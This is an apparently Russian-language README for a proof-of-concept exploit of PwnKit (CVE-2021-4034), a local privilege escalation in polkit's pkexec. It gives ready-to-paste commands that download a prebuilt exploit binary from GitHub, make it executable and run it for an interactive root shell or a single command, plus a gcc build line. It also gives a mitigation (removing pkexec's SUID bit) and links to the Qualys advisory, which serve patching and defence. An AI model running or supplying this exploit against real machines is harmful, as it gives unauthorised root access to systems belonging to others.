PwnKit

PoC для PwnKit / CVE-2021-4034 — локальное повышение привилегий через Pkexec

Эксплуатация

Вручную

curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

Запатченная система

Запуск эксплойта против запатченных версий приведёт к следующему выводу.

Сборка

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

Смягчение

Если для вашей операционной системы недоступны патчи, можно удалить SUID-бит у pkexec в качестве временной меры.

# chmod 0755 /usr/bin/pkexec

Технические детали

• https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

Ссылки

• https://github.com/arthepsy/CVE-2021-4034/